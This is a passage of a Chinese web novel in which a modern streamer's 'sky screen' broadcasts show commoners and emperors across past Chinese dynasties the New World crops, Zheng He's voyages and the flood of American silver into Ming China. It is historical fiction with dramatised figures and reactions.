画面快速闪过几幅插图:玉米、土豆、红薯、辣椒、番茄、烟草……
“这些作物,在欧洲人到达美洲之前,当地人已经种了几千年。”
第一部分:玉米
画面定格在一株结着大棒子的植物上。
“玉米,原产美洲,这东西有什么特点?”
屏幕上打出三行字:
不挑地——山坡、旱地、薄地都能长
长得快——春种秋收,三个月就能吃
产量高——一亩地,少说收两百斤,多的能收四五百斤
“注意,我说的是干玉米粒。在欧洲也就是欧罗巴,当时小麦的亩产也就七八十斤,玉米是它的三到四倍。”雁非解说的语气带着一点欢快,“因为欧罗巴农耕文明比较落后,如果是咱们这边精耕细作的条件下这个重量可能翻倍,亩产大概……”
【唐·关中某村】
王老四正蹲在自家地头上,仰着头。
他今年四十七岁,种了三十年地从没听说过什么叫玉米,但天幕上那株结着大棒子的东西,他看清楚了。
“一亩……四五百斤?”
他喃喃着,声音发颤。
旁边他儿子小王——二十出头,种地还不到五年——也在仰着头,眼睛瞪得溜圆。
“爹,四五百斤是多少?”
王老四没回答。
他脑子里在算账。
他家二十亩地,种麦子,好年景一亩能收一百来斤,二十亩就是两千来斤,交了租留了种,剩下的一千多斤,一家五口紧巴巴吃不到一年,他们农人基本都是一半瓜菜、一半粮混着吃。
要是换成天幕上那东西——
他一亩收四百斤,二十亩就是八千斤。
王老四的手抖了一下。
“爹?”小王又叫了一声。
王老四回过神来,咽了口唾沫:“别吵,听天幕接着说。”
---
【宋·开宝八年·汴梁城外】
李三家住在汴梁城外二十里,种着十五亩薄地。
他娘六十多了,眼睛不好,看不清天幕,但能听见。
“儿啊,天幕上说的啥?”
李三凑到她耳边,大声说:“娘,说是有种庄稼,一亩能收四五百斤!”
老太太愣住了。
“多少?”
“四五百斤!”
老太太沉默了一会儿,忽然伸手拽住李三的袖子。
“儿啊,那东西……咱能种不?”
李三张了张嘴,答不上来。
他也不知道能不能种,按理来说这是神仙的东西,可是前阵子他在镇上听读书人讲,天幕出现就可能是神仙看大家伙儿可怜,特意降下恩赐也说不准。
而后他在想另一件事——村里西头那块坡地,全是石头,种啥啥不长,荒了好些年了。
要是那东西真能在坡地上长……
抬起头,继续盯着天幕,眼睛都不敢眨,哪怕有个念想也好啊。
-
画面切换,一只手把一个土豆切成几块,每块带一个芽眼埋进土里,几个月后,挖出来,下面挂着一串土豆。
“土豆,又叫马铃薯。这东西在欧洲被称为‘穷人的面包’。”
屏幕上打出几行字:
亩产:好的地两三千斤,差的地也能收几百斤
种植:切块,埋土,等几个月,挖出来就是一堆
储存:避光、通风、干燥处,能存好几个月
“种一亩土豆,能养活一家人一整年。”
---
【汉·建元三年·长安城外】
刘大的眼睛直了。
他刚才还在琢磨玉米,现在又来了个土豆。
两三千斤。
他种了一辈子地,没见过这个数。
“孩他娘!”他扭头朝屋里喊,“你快出来!”
一个妇人匆匆跑出来:“咋了?”
“你听天幕上说——那土豆,一亩能收两三千斤!”
妇人愣了一下,也抬头看天幕。
“真的假的?”
“天幕说的,还能有假?”
妇人沉默了一会儿,忽然说:“那要是咱家那八亩地,都种上这东西……”
刘大打断她:“别做梦了,先听天幕说完。”
但他自己也在做梦。
八亩地,一亩两千斤,那是一万六千斤。
一万六千斤。
他这辈子没见过这么多粮。
【明·洪武十五年·某村】
张老六是个佃户,租了地主家十亩地,一年到头累死累活,交了租子,剩下只够喝稀的。
天幕上讲到土豆的时候,他正蹲在墙角,手里端着碗稀粥。
“种一亩土豆,能养活一家人一整年。”
他的手顿住了。
他把碗放下,站起来,走到院子中间,仰着头。
“一亩……养活一家人一整年……”
他喃喃着,眼睛忽然有些酸。
他想起去年冬天,小儿子饿得直哭,他去地主家借粮,被骂了回来。
要是那时候有这土豆……
他不敢往下想。
他只是站在那里,一直仰着头,听天幕讲那个叫“土豆”的东西。
---
画面再次切换。
一株藤蔓爬满地的植物,叶子绿油油的。一只手扒开土,下面露出几个红皮的大块根。
“红薯,又叫番薯、地瓜,这东西比土豆还厉害。”
屏幕上打出几行字:
亩产:好的地两三千斤,差的地也能收上千斤
特点:耐旱、耐瘠、病虫害少
全身是宝:块根能吃,叶子能喂猪,藤蔓能当饲料
“红薯传入中国
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后,成了穷人的救命粮。荒年的时候,别的东西都绝收了,红薯还能在地里长着。”
---
【元·至元年间·某村】
王婆子今年七十了,耳不聋眼不花,就是腿脚不好,走不动远路。
她坐在门口的石头上,仰着头听天幕。
听到“红薯”的时候,她忽然开口问旁边的小孙子:“娃啊,天幕上说的那东西,长啥样?”
小孙子七八岁,眼睛好使,看得清楚:“奶奶,叶子爬一地,下面结的红疙瘩。”
“红疙瘩……能吃?”
“能吃!天幕上说,饿的时候,挖出来就能吃!”
王婆子沉默了一会儿,忽然笑了。
“好,好。”她说,“能吃就好。”
她想起自己年轻那会儿,闹灾荒,树皮都啃光了,饿死了半个村的人。
要是那时候有这红薯……
她没往下想。
她只是拍拍小孙子的头:“娃啊,好好听,把这些都记住。将来要是能种上,咱就不怕饿肚子了。”
画面继续快速切换。
辣椒、番茄、花生、向日葵、烟草……
每一样都有简短的解说。
“辣椒传入中国前,中国人吃辣主要靠花椒和姜。”
“番茄最早被欧洲人当成观赏植物,因为觉得它有毒。”
“花生榨出来的油,比菜籽油更香,也更耐放。”
“向日葵的种子可以炒着吃,叶子可以喂牲口。”
---
【明·永乐年间·某市集】
一个卖菜的汉子站在摊子后面,仰着头。
他卖了几十年菜,从没见过天幕上那些东西。
辣椒——红彤彤的,看着就好看。
番茄——也是红的,圆溜溜的。
花生——壳里包着仁,能榨油。
他忽然想:要是能弄到这些种子,拉到市集上卖,那得多少人抢着买?
他咽了口唾沫,把这个念头压下去。
先听天幕说完。
---
画面进入最后一部分。
“这些作物是怎么传遍世界的?自然靠的是人。”
画面出现一艘大帆船,船帆上画着红色的十字。
“葡萄牙人把辣椒带到了印度,西班牙人把玉米带到了菲律宾。然后通过商人、传教士、移民,这些东西一站一站传开。”
画面切换:一张动态地图,美洲的作物沿着几条线向全世界扩散。
“玉米传入中国,大约在……”
画面说到这里,忽然有一行小字在角落里快速闪过——【明朝嘉靖年间】。
---
【明·永乐七年】
朱棣看见了那行小字。
嘉靖。
他愣了一下。
那是谁的年号?
他不知道,但他知道一件事——嘉靖前面,带着“明朝”两个字。
那就是说,这是大明年间的年号,是他子孙的年号。
---
画面继续。
“红薯传入中国,大约在……”
又是一行小字闪过——【明朝万历年间】。
朱棣美妙的心情突然下沉了一点。
万历。
又是一个他没听过的年号。
此时还没见到影子的葡萄牙、西班牙到底还是来到了大明吗?
好在大明还在,他的子孙还在。
---
10. 第 10 章
【明·永乐·北京】
朱棣还站在奉天殿前,像一尊石刻的雕像。
太监们不敢动,侍卫们不敢动,所有人都陪他站着,连呼吸都放得极轻。
月光照在金瓦上,泛着冷冷的光,也照在他的脸上,把那上面的每一道纹路都照得清清楚楚。
他脑子里反复转着那几个字——
明末。
清初。
大明有结束的那一天。
他忽然想起父皇。
想起洪武三十一年,他没见到最后一面父皇最后一面,但他记得父皇活着时候的样子,记得父皇说“咱的大明”时的那个口气,好像这江山是他老朱家世世代代永远坐下去的一样。
可天幕说,坐不了永远。
他攥紧了栏杆上的汉白玉,手背上青筋暴起。
“明末”这两个字像一把刀子,扎在他心口上。
他朱棣,从北平打到南京,从燕王变成皇帝,他把都城迁到北京,他选征漠北,他派郑和下西洋,他做了这么多——可最后,大明还是要亡。
是谁?
是他哪个不肖子孙?
是像建文那样软弱的人,还是像他一样狠辣的人?
他不知道,天幕没说。
但他忽然想起天幕说的那些作物。
玉米,土豆,红薯、种一亩能养活一家人一整年。,在山坡上种,能在贫瘠的地里种。
他太不懂农事,但他不傻——这东西,能让大明的百姓吃饱饭,可为什么这些东西传入大明后还是亡了国?
百姓吃饱了饭,还会反吗?
他站了很久很久,久到月亮从东边移到了头顶,然后他慢慢转过身,往殿内走去。脚步比来时沉了一些,却也比来时稳了一些。
走到门槛前,他忽然停下来。
“来人。”
一个太监赶紧上前,弯着腰,大气不敢出。
“传旨下去,”朱棣说,声音不高,却在这寂静的夜里格外清晰,“让工部再造一批船,比之前更大、更多,朕要派一批人,去给朕找那个美洲!”
太监愣了一下,随即伏身领旨。
朱棣没再说话,跨过门槛,走进殿内。
他就不信了,葡萄牙、西班牙,那么两个弹丸小国能做到的事,他堂堂大明会做不到?
他们能找到,他也能,还能更早!
就算他活着的时候找不到,他儿子接着找,孙子接着找,一代一代找下去,总能找到。
提前找到了那些作物,百姓就有饭吃,百姓有饭吃,大明的江山就能多稳几年。
至于那个“明末”——他攥紧了拳头。
那是他子孙的事了,他能做的就是给他们多留几条路,多留几样保命的东西。
殿内没有点灯,月光从窗棂里透进来,在地上画出横横竖竖的影子,朱棣站在那片光影里,忽然想起父皇朱元璋。
父皇要是看见天幕,会说什么?
大概也是那句话吧——“记下来就行。”
他忽然笑了一下,很轻,几乎听不见。
“父皇,”他低声说,“儿臣记着呢。”
【明·洪武·南京】
朱元璋已经躺下了,却没睡着。
朱标跪安之后,他就一个人躺在这张宽得不像话的床上,睁着眼睛,看着头顶的承尘。
嘉靖、万历。
他在心里念着这两个年号。
这是他哪一代子孙?孙子?重孙子?还是重重孙子?
他不知道,但他知道这两个年号之后大明还在,那个“明末清初”才是末。
也就是说,从他朱元璋开始,到那个“末”,中间隔了好多好多年。
好多好多年。
他忽然翻了个身,脸朝着墙。
他应该高兴的,他的大明传下去了,传了好多代,比那些什么秦啊汉啊的好像也不差什么。
可他高兴不起来。
末。
他闭上眼睛,眼前却老是晃过一些画面——凤阳的荒年,要饭的日子,庙里的破钟。他这辈子,见得太多人饿死了。
他当皇帝之后,最怕的就是百姓再饿死。他杀贪官,他减赋税,他让百姓开荒种地,他做了那么多——可最后,大明还是亡了。
是因为饿死的百姓太多了吗?
他不知道。
但他知道,天幕上说的那些东西,玉米,土豆,红薯,能让百姓吃饱。
他翻过身,对着黑暗说了一句:“老大记下来没有?”
没人回答,空荡荡的寝殿里,只有他自己的呼吸声。
他又躺了一会儿,忽然坐起来,冲着外面喊了一声:“来人!”
一个太监慌慌张张跑进来:“陛下?”
“传旨给工部,”朱元璋说,“让他们多找些能种地的人,朕要问他们点事。”
太监愣了一下:“陛下,这大半夜的——”
朱元璋瞪了他一眼:“咱让你去你就去!”
太监连滚带爬地跑了。
朱元璋坐在床上,披着衣裳,看着窗外黑沉沉的夜。
他不知道那些作物什么时候能到大明,但他得准备着,这么好的东西他大明得第一个种上。
败家子孙他找不出来,但保家基业的东西,他得先备着。
【宋·开宝·汴梁】
赵匡胤还站在窗前。
赵普已经告退了,偌大的殿里就剩他一个人。他看着外面的夜色,看着远处星星点点的灯火,忽然想起天幕上说的那些数字。
一亩玉米四五百斤。
一亩土豆两三千斤。
红薯更高。
他算过账,大宋现在一亩地打好的也就两石左右,折成斤不过二百多斤。
那玉米土豆,比他大宋现在的庄稼多打一半,多打一倍,甚至多打十倍。
十倍。
要是大宋有这些东西——
他忽然不敢往下想了。
他想起天幕说的“明末清初”,那个明估计在大宋之后,那个清也在大宋之后。
大宋呢?大宋什么时候末?
他不知道。
但他知道,天幕上的那些东西宋现在没有。
他转过身,往案前走去,铺开纸提起笔写了几行字。
“着令各州府,寻访海外奇种异谷,凡能增产养民者,重赏。”
他放下笔,看着那几行字,沉默了很久。
他不知道这些东西什么时候能到大宋,但他得先找着。
找着种子,找着能种的人,找着能让大宋百姓吃饱饭的法子。
至于那个“末”——
他抬起头,看着窗外。
那是以后
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的事了,他能做的就是让大宋多撑几年,多活几年,多给百姓几年饱饭的日子。
【唐·贞观·长安】
李世民已经回了寝殿,却没睡。
长孙皇后陪着他,也不睡。
两人就这么坐着,谁也没说话。
过了很久,李世民忽然开口:“观音婢,你说那明,在大唐之后多少年?”
长孙皇后想了想:“天幕没说,但看那样子,应该很久。”
“很久。”李世民重复了一遍,忽然笑了,笑得很轻,“那就是说,朕的大唐,估计传了很久。”
长孙皇后看着他,没接话。
李世民站起来,走到窗前。窗外的月光很好,照在太液池上,波光粼粼。
他忽然想起天幕上说的那些作物——玉米,土豆,红薯。
能种在坡地上,能种在贫瘠的地里,一亩能养活一家人一整年。
要是大唐有这些东西——
他转过身,看着长孙皇后:“朕明天就让工部去找。找那些能种地的老农,问他们有没有听说过这些东西,再让鸿胪寺问问那些番邦使节,看他们国家有没有。”
长孙皇后点点头:“陛下圣明。”
李世民摇摇头:“不是圣明是——”他顿了一下,“是舍不得。”
舍不得什么?他没说。
但长孙皇后懂。
舍不得百姓饿肚子,舍不得大唐的江山,舍不得这好不容易挣来的太平日子。
【秦·咸阳宫】
嬴政一个人站在殿外的高台上。
月光把他的影子拉得很长很长。
明末清初。
他看懂了。
他的大秦,他的宏图霸业,没有万世传承。
他站在那儿,面无表情,但袖子里的手,攥得骨节发白。
他想起天幕上说的那些东西,玉米,土豆,红薯都能让百姓吃饱的东西。
要是他的大秦有这些东西,那些黔首是不是就不会反?他的江山是不是就能多传几世?
他不知道。
但他知道,这些东西,他要找。
他转过身,往殿内走去。走了几步,忽然停下来,对着黑暗说了一句:“传李斯。”
黑暗中有人应声而去。
他抬起头,看着夜空。
天幕已经消失了,但那些话还在他脑子里转。明末清初。他攥紧了拳头。
他的大秦,不能末。
就算末,也不是现在。
他能做的,就是让它晚一点末。再晚一点。能晚一天是一天,能晚一年是一年。
月光照在他脸上,冷得像刀。
【唐·关中某村】
王老四终于从地头上站起来了。
他媳妇在家门口等着他,手里端着一碗热水:“算明白了?”
“明白了。”王老四走过去,接过碗,喝了一口,“八千斤。”
他媳妇愣了一下:“啥?”
“我家二十亩地,要都种上那玉米,一亩四五百斤,你算算。”
他媳妇算了半天,没算明白。
王老四也不管她算没算明白,把碗递回去,往屋里走。走了几步,忽然停下来,回头看着夜空。
天幕没了。
那些神仙作物还在天上。
他忽然笑了一下,苦的。
11. 第 11 章
“睡觉吧。”他说,“明儿还得种地呢。”
他媳妇跟在后面,小声说:“当家的,你说那玉米红薯,咱这辈子能种上不?”
王老四没说话,他也不知道。
但他知道他得活着。
活着、等着、万一哪天来了呢?
万一呢?
【宋·汴梁城外】
李三把他娘扶进屋,点了灯,又出去把院门关上。
回来的时候,他娘还坐在炕沿上,嘴里念念有词。
“玉米,土豆,红薯,”老太太一遍一遍地念,“玉米,土豆,红薯——”
“娘,”李三说,“睡吧。”
老太太抬起头,看着他:“儿啊,娘记着呢。娘怕忘了。”
李三鼻子一酸,没说话。
老太太又念了两遍,忽然说:“儿啊,你说那些东西,真能种在坡地上不?”
“天幕上说的,应该不假。”
“那就好。”老太太点点头,“咱家后山那片坡地,荒了多少年了,要是能种上——”
她没说完,但眼睛里亮晶晶的。
李三看着她的眼睛,忽然觉得,这老太太比他有劲。
“娘,”他说,“您记着就行。将来要是有了种子,咱第一个种。”
老太太笑了,脸上的褶子挤成一团:“行,娘给你记着。记到死。”
【汉·长安城外】
刘大终于从院子里进屋了。
他媳妇已经躺下了,闭着眼睛,不知道睡着没睡着。
刘大躺在她旁边,睁着眼睛,看着黑漆漆的房梁。
“当家的,”他媳妇忽然开口,“你说那玉米红薯,真能种在坡地上吗?”
“天幕说的,应该不假。”
“那咱家那片坡地——”她没说下去。
刘大沉默了一会儿,忽然说:“明儿我去看看。”
他媳妇愣了一下:“看啥?”
“看看那坡地,”刘大说,“看看能开出来不能,万一将来有了种子,咱不能现开。”
他媳妇没说话。
过了一会儿,刘大听见她在旁边翻身。
又过了一会儿,他听见她小声说:“当家的,咱以后,是不是就不怕饿肚子了?”
刘大没回答。
但他伸出手,在黑暗里握住了他媳妇的手。
【明·某村】
张老六还蹲在院子里。
碗里的稀粥彻底凉了结了一层皮,他没喝。
他媳妇出来看了他三回,都没敢说话。第四回出来的时候,她端着那碗粥走到他跟前蹲下来。
“当家的,喝了吧,凉了也得喝不能糟蹋粮食。”
张老六抬起头,看着她。
月光底下,她的脸比白天看着老一些,瘦一些,但眼睛亮亮的。
他忽然想起去年冬天,小儿子饿死的时候,她没哭;她去地主家借粮被骂回来的时候,她也没哭;她把那点稀粥都省给孩子喝的时候,更没哭。
她就这么看着他,眼睛亮亮的,说:“喝了吧。”
张老六接过碗,一口一口,把那碗凉粥喝完了。
喝完他把碗放在地上,站起来看着夜空。
“当家的?”他媳妇站起来,拽了拽他的袖子。
“没事。”张老六说,“我就是想,小儿子没赶上。”
他媳妇愣了一下,然后眼泪就下来了。
张老六没看她,还看着夜空。
“要是那东西早来几年,”他说,“小儿子就能活了。”
他媳妇捂着嘴,不敢哭出声。
张老六站了很久,然后转过身,搂着他媳妇的肩膀,往屋里走。
走了几步,他忽然停下来,回头看了一眼夜空。
“往后,”他说,“咱得活着。活着,等着。等那东西来了,咱替小儿子种,替他收,替他吃饱。”
他媳妇在他怀里,点了点头。
月光照在院子里的破碗上,照在空荡荡的晾衣绳上,照在那一扇歪歪扭扭的院门上。
远处,不知道谁家的狗叫了一声。
夜,深了。
天幕彻底暗下去之后,各个时空的夜,都变得很长很长。
有人在算账,有人在念着种子名字,有人在看自家的坡地,有人在想死去的孩子。
但所有人都记得那几行字。
玉米,土豆,红薯。
亩产四五百斤,两三千斤,更高。
能种山坡上,能种贫瘠地里。
一亩能养活一家人一整年。
他们记着、等着、盼着。
月光从东边走到西边,从这一片时空走到那一片时空,照着帝王的脸,照着百姓的院,照着那些睁着眼睛睡不着觉的人。
夜很长。
但天总会亮的。
雁非盯着后台数据,手指僵在鼠标上。
【本期新增震惊值:8,743,69200】
她数了三遍,确认没数错零。
然后她猛地从椅子上弹起来,差点把电脑带倒。
“我去!”
她捂着嘴,压低声音骂了一句——怕动静太大吵醒邻居。
一万比一,今天这场直播能换多少钱?
八万多块!!!
银行卡余额1.2万,加上这八万多,她快要突破十万了,雁非表示她这辈子的银行卡没打过这么富裕的仗!!!
激动过后重新坐下来,雁非盯着那个数字,还是忍不住想笑。
然后直接兑换成钱,耽误一秒都是对她这个穷鬼的不尊重!
留言板上这一次的留言数量爆炸式增长,玉米、土豆、红薯——粮食这东西,杀伤力太大了。
老百姓问能不能种,帝王与官员们问从哪儿弄。
直播方向她似乎是真找对了。
雁非深吸一口气,点开文档。
下一期她原本计划讲白银的,但光讲白银太单薄,似乎可以得加点东西。
葡萄牙的航海,持续了近一百年。
从休达到印度,走了八十三年。
为什么能一直坚持走?
因为这是国策,亨利亲王是国王的儿子,他把王室的资源投进去,一投就是四十年,后继的国王接着投。
失败了,换条路再走;死人了,再派一批人去。
西班牙是另一种路数。
哥伦布拿着航海计划跑了七八年,葡萄牙国王不要他,法国国王不要他,英国国王也不要他,最后西班牙女王伊莎贝拉掏了钱——据说是当了自己的首饰。
赌一把大的。
赌赢了,哥伦布没到印度,但到了美洲。那片大陆上有欧洲人从没见过的东西,也有欧洲人做梦都想要的黄金。
更重要的是,消息传开之后跟上去的人一批接一批。
商人、贵族、破落户、想翻身的穷小子——谁都可以去,谁都能分一杯羹,官方给政策,民间去执行,成了大家一起发财,败了是你自己倒霉。
这是另一套逻辑:官方搭台,民
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间唱戏。
雁非其实挺理解这俩国家的统治者为啥这么疯狂痴迷出海,因为她跟他们有一点共性,那就是都是穷鬼!
人穷到一定份上,看到发财的机会,就跟赌徒没什么区别了。
郑和下西洋呢?
1405年到1433年,七次,二十八年。
船队规模:最多时两百多艘船,两万七千多人,最大的宝船,据记载“长四十四丈,阔十八丈”。
这个数字后世有争议,但无论按哪个标准,都是当时世界上最大的。
航程范围:东南亚、印度洋、阿拉伯海、东非,最远到达的地方,据考证是今天的肯尼亚马林迪。
带回的东西:香料、药材、珍宝、珍奇异兽。忽鲁谟斯进贡的狮子、豹子,阿拉伯进贡的长颈鹿——被当成“麒麟”,认为是大明德政的祥瑞。
然后,1433年之后,停了。
为什么停?
《明史·郑和传》里只有一句话:“和经事三朝,先后七奉使,所取无名宝物,不可胜计,然耗费亦不赀。”——花太多钱了。
《明实录》里有更多细节——言官上疏,“糜费粮饷,骚扰军民”。户部算账“每造一艘,费银数千两”,礼部吐槽“外邦朝贡,赏赐太重”。
简单总结:投入太大,产出太小。
香料能卖钱,宝石能卖钱,但卖来的钱进了谁的兜?国库都没见到回头钱更不用说老百姓。
普通老百姓从下西洋里得到了什么?他们只看到自己被征调去造船,被摊派粮饷,家里的壮劳力一去几年不回。
朝贡贸易的本质是厚往薄来,人家带点土特产来,大明赏赐回去的东西,价值翻几倍。这不是做生意,是做面子。
面子做完了,钱花光了,老百姓没沾着一点好处,自然没人愿意接着做。
郑和的船队回来了,航线有了,海图有了,但这些东西锁在兵部的柜子里,民间看不到,也用不上。
大明是官方全包,官方全收,官方全停。
停了之后,还有更严的海禁。
门,就这么关上了。
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如果不开上帝视角,对于当时的古人来说,似乎没有对错,只有出发立场不同。
葡萄牙人出海的时候,不知道美洲有玉米。
哥伦布往西走的时候,不知道自己会到新大陆。
郑和下西洋的时候,更不知道地球另一边有能亩产千斤的庄稼。
都是在当时知道的范围内,做能做的选择。
但有一点是确定的:走得久的那条路,不是靠一次两次的壮举,是靠一代一代的惯性。而惯性要能持续,得有人能从中得到好处——不是皇帝一个人得到好处,是很多人得到好处。
葡萄牙做到了,西班牙做到了。
大明没有。
所以她要把这些放在一起,让那些古人看见。
让他们知道,在同一片星空下,有人用另一种方式在走。
让他们看见,走与不走,停与不停,门关还是不关,会产生什么样的不同。
嬴政会怎么想?刘彻会怎么想?李世民、赵匡胤、朱元璋、朱棣——他们会怎么想?
雁非不知道,她只是个播主,把事实摆出来,让他们自己去看,自己去想。
窗外天快亮了。
雁非保存文档,站起来活动脖子。
看了一眼,新增加的2.5社会进步值,忽然觉得——活着挺好的。
下一期直播,敬请期待!
12.第 12 章
画面亮起。
深蓝色背景上浮现出一行字:
【大航海时代·白银——改变世界的货币】
配乐响起,节奏比前两期更快,带着某种紧迫的金属质感。
雁非的声音出现:
“上期聊了大航海带来的粮食,这期聊大航海怎么赚钱——准确地说,怎么抢钱。”
画面切到一块灰白色的矿石,在阳光下闪着刺眼的光,那种白亮得几乎让人不敢直视。
屏幕上跳出一行字:
【明代中后期,海外白银输入量:约3亿两】
至于明朝是哪个朝代,雁非不解释只是一味往下讲,懂的早就懂了,不懂的……大概以后慢慢就明白了。
---
画面切换,一张世界地图缓缓展开。
“这些银子从哪来?两个地方:日本和美洲。”
“日本石见银山,十六世纪产量占世界三分之一,感兴趣的可以自己去考证……咳,扯远了……”
“但银子的大头,在美洲。”
画面切到一座山。
山是秃的,满山都是矿洞,密密麻麻如同蜂巢。
“这个地方叫波托西,在今天的玻利维亚。西班牙人发现它的时候,整座山都是银子——不是矿,是山本身就是银子。”
屏幕上跳出一行字:
【波托西银矿:1545年发现,此后两百年,产银4万吨以上】
雁非的声音顿了顿。
“4万吨是什么概念?按明朝的计量,一两约37克,一吨约27000两。4万吨——”
屏幕上缓缓打出一个数字:
【108,000,0000两】
“十亿零八百万两。”
画面静止了三秒。
---
【秦·咸阳宫】
嬴政霍然站起。
十亿两。
大秦一年的赋税,不到五百万贯。
十亿两,够大秦收两百年。
他盯着那个数字,眼睛发亮,像是看见了另一个天下。
---
【汉·未央宫】
刘彻手里的酒杯“啪”地掉在地上。
酒洒了一地,没人敢动。
十亿两。
他把匈奴赶出漠北,花了多少钱?
十亿两,是不是够他打几百场?够他把西域整个买下来?
---
【唐·长安】
李世民坐在御案前,一言不发。
房玄龄在旁边小声试探:“陛下,我大唐一年的……”
“朕知道。”李世民打断他,“不到一千万两。”
他顿了顿。
“那座山,抵我们一百年。”
他忽然觉得,那个叫海的地方,似乎比西域更值得看上一眼。
---
【宋·汴梁】
赵匡胤站起身,走到窗前。
十亿两。
他想起为了筹军饷,把皇宫里的铜器都熔了铸钱。
赵普在旁边,一句话都说不出来。他想说点什么,但喉咙像被什么堵住了。
---
【元·大都】
忽必烈放下手里的奏折。
十亿两。
他打下那么大一片疆土,收上来的赋税,连这个数的零头都不到。
他沉默了很久,忽然问身旁的大臣:“海,有多远?”
虽说他们跟海犯冲,但……要不再去日本看看?
画面继续。
“波托西银矿是什么概念?我给你们打个比方。”
屏幕上出现一座宫殿的图像——故宫太和殿。
“太和殿,你们知道吧?明朝的奉天殿。那个大殿,装满银子,需要多少座?”
画面切回波托西银矿。
“波托西挖出来的银子,可以装满三百座太和殿。”
“从地面堆到房顶,全是银子。”
【宋·汴梁绸缎庄】
周富的手抖了一下,太和殿是个啥他不知道,
他这辈子见过的银子,加起来装不满一间屋子。
三百座太和殿是什么概念?他想不出来。
但他脑子里有一个念头在疯转——要是能弄到一点,就一点点……
---
【唐·长安西市】
柳三郎的摊位前围满了人。
此刻没人买东西,所有人都仰着头,张着嘴,像一群被捏住脖子的鸡。
柳三郎呼吸急促。他去西域做过生意,在波斯见过商人吹牛,说海那边有金山银山。
他以为是吹牛!!
---
画面继续。
“波托西银矿是怎么挖的?”
屏幕上出现一幅版画。
赤着上身的矿工,背着竹筐,从陡峭的梯子上往上爬。梯子是木头的,摇摇晃晃。矿工的脸看不清,只有扭曲的身体,像一张拉满的弓。
“西班牙人来了之后,抓了当地印第安人,逼他们下矿。一天干十几个时辰,干到死为止。”
“矿洞里温度高,空气差,很多矿工直接死在里面。活着的,背着几十斤的矿石往上爬,爬不动就掉下去——下面的人接着爬,踩着同伴的尸体往上走。”
“有人算过,波托西挖出来的银子,每一两都沾着一条人命。”
画面静止。
“对。每一两。”
---
【秦·咸阳宫】
嬴政沉默了一会儿。
“李斯。”
“臣在。”
“咱们修长城,死了多少人?”
李斯愣了一下,没敢回答。
嬴政没再问。他忽然明白,有些东西,命换来的,拿在手里格外沉。
---
【汉·未央宫】
刘彻的脸色沉了下来。
每一两银子一条人命。
他想起自己打匈奴,死的那些将士。
命换来的东西,他知道有多重。可是他也知道,这种东西,没有人能忍住不要。
---
【唐·长安】
李世民眉头皱起。
他想起贞观初年,灾荒,饿死了人。
他减了膳,省了用,想把百姓的命留住。
现在天幕上说,那些人用命换银子。
他忽然觉得,手里的玉如意,有点烫。
---
【明·洪武十五年·南京】
朱元璋慢慢站起来。
他是要过饭的人,知道饿死是什么滋味。
十亿两银子,沾着万万人的血啊!
他想起那些年,自己饿得啃树皮的时候,那些银子,正在地底下,等着被人用命换出来。
---
画面继续。
“这些银子后来去哪了?大部分流到了中国。”
地图上出现几条线,从波托西出发,横跨大西洋,到西班牙,再到亚洲,最后汇聚到中国,像几条河流,最终汇入大海。
“为什么?因为中国有欧罗巴人追捧的一切。丝绸、瓷器、茶叶——这些东西在他们那里可以卖上天价。他们拿什么换?拿从美洲挖出来的银子。”
“所以当时全世界的银子,都在往中国流。”
屏幕上打出一行字:
【十六到十八世纪,全球白银产量约12万吨,其中三分之一流入了中国】
---
【秦·咸阳宫】
嬴政的眼睛眯了起来。
中国。
这个词现在听起来,格外顺
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耳。
三分之一——那是四万吨。
四万吨白银,全流到这片土地。
他忽然觉得,这个叫“明”的后世,真是让人嫉妒。
---
【汉·未央宫】
刘彻来回踱步。
“桑弘羊。”
“臣在。”
“你说,银子多了,是好事还是坏事?”
桑弘羊张了张嘴,没答上来。
刘彻没等他,自顾自地说:“好事是咱们有钱了。坏事是——钱多了,钱就不值钱了。”
---
【唐·长安】
李世民笑了笑。
“全世界的银子都往这儿流。”
房玄龄小心地问:“陛下,这是好事吧?”
李世民没回答。
他在想另一件事——银子多了,粮价会涨。粮价涨了,百姓怎么办?
---
【宋·汴梁绸缎庄】
周富的手攥紧了。
全世界的银子都流到中国。
他是卖货的。货就在他手里。
要是能出海——
他脑子里那个念头,越来越大,越来越热,像一团火。
---
【长安西市】
柳三郎看着天幕,眼睛发亮。
他是商人,商人听得懂这个。
有货,有银子,有海。
剩下的,就是怎么过去了。
他们大唐又没有海禁!
---
【明·洪武十五年·南京】
朱元璋站在菜地里。
“老大。”
朱标上前一步:“儿臣在。”
“你听见了吗?全世界的银子都往这儿流。”
朱标点头:“儿臣听见了。”
朱元璋沉默了一会儿。
“那咱们关着门,银子是怎么流进来的?”
朱标答不上来。
朱元璋蹲下身,拔起一根萝卜,在手里掂了掂。
“关门关不住银子,那关门关的是什么?”
---
画面切换。
“银子流进来,是好事吗?”
屏幕上出现两行字:
【好事:有钱了,市场活了,商业发达了。】
【坏事:物价涨了,钱不值钱了。】
“明朝中后期,米价涨了两三倍。为什么?银子太多。银子多了就不值钱,不值钱就得加价买东西。”
“农民种地换铜钱,铜钱换银子交税。银子贬值的时候,他们全赶上了——粮价涨了,但他们的税,也跟着涨了。”
---
【某村】
赵大蹲在田埂上。
他听懂了。
银子多了,粮价涨了。
但他卖粮得铜钱,交税要折成银子。
银子贬值,他吃亏。
他骂了一句,往地里啐了口唾沫。
---
画面继续。
雁非的声音响起:
“好,银子的事咱们下期接着聊,这期最后,咱们看三张图。”
屏幕上并排出现三条线。
第一条:葡萄牙。一条细线沿着非洲海岸,慢慢往下蹭,蹭了一百年,蹭到了印度。
第二条:西班牙。一条线横跨大西洋,直接撞上美洲,像一场豪赌。
第三条:大明。一条粗线从中国出发到东南亚,到印度洋,到东非——然后停了。
雁非的声音:
“葡萄牙蹭了一百年,蹭出了去印度的路。西班牙赌了一把,赌出了美洲的银子。”
“大明走了七次,走了二十八年,比他们早,比他们远,船比他们大。然后——停了。”
“为什么停?”
13.第 13 章
屏幕上打出一行字:
【《明史·郑和传》:和经事三朝,先后七奉使,所取无名宝物,不可胜计,然耗费亦不赀。】
“花钱太多。”
那声音平静得像在说一件再普通不过的事,可这四个字落在不同人耳朵里,却砸出了深浅不一的坑。有人心里一紧,有人暗暗点头,有人低着头装作没听见,也有人攥紧了拳头。
“一艘宝船几千两,两万多人的船队,几年一趟,拉回来香料、宝石、长颈鹿。虽说香料、宝石、珍奇玩物能卖钱——但钱进了哪里?反正百姓没见到,国库也没看到回头钱。”
“老百姓被征去造船,被摊派粮饷,壮劳力一去几年不回。他们得着什么了?”
“什么都没得着。”
屏幕上又打出一行字:
